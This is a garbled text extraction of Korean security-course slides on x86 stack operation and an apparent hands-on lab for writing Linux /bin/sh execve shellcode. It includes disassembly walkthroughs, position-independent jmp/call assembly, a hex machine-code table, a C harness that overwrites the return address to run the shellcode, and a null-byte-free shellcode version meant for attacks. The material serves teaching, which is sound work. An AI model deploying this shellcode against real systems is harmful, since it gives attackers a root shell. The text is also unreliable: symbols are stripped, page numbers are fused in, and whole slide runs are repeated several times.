셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 69: 80×86  시스템에 대한 이해

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 70: 80×86  시스템에 대한 이해

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

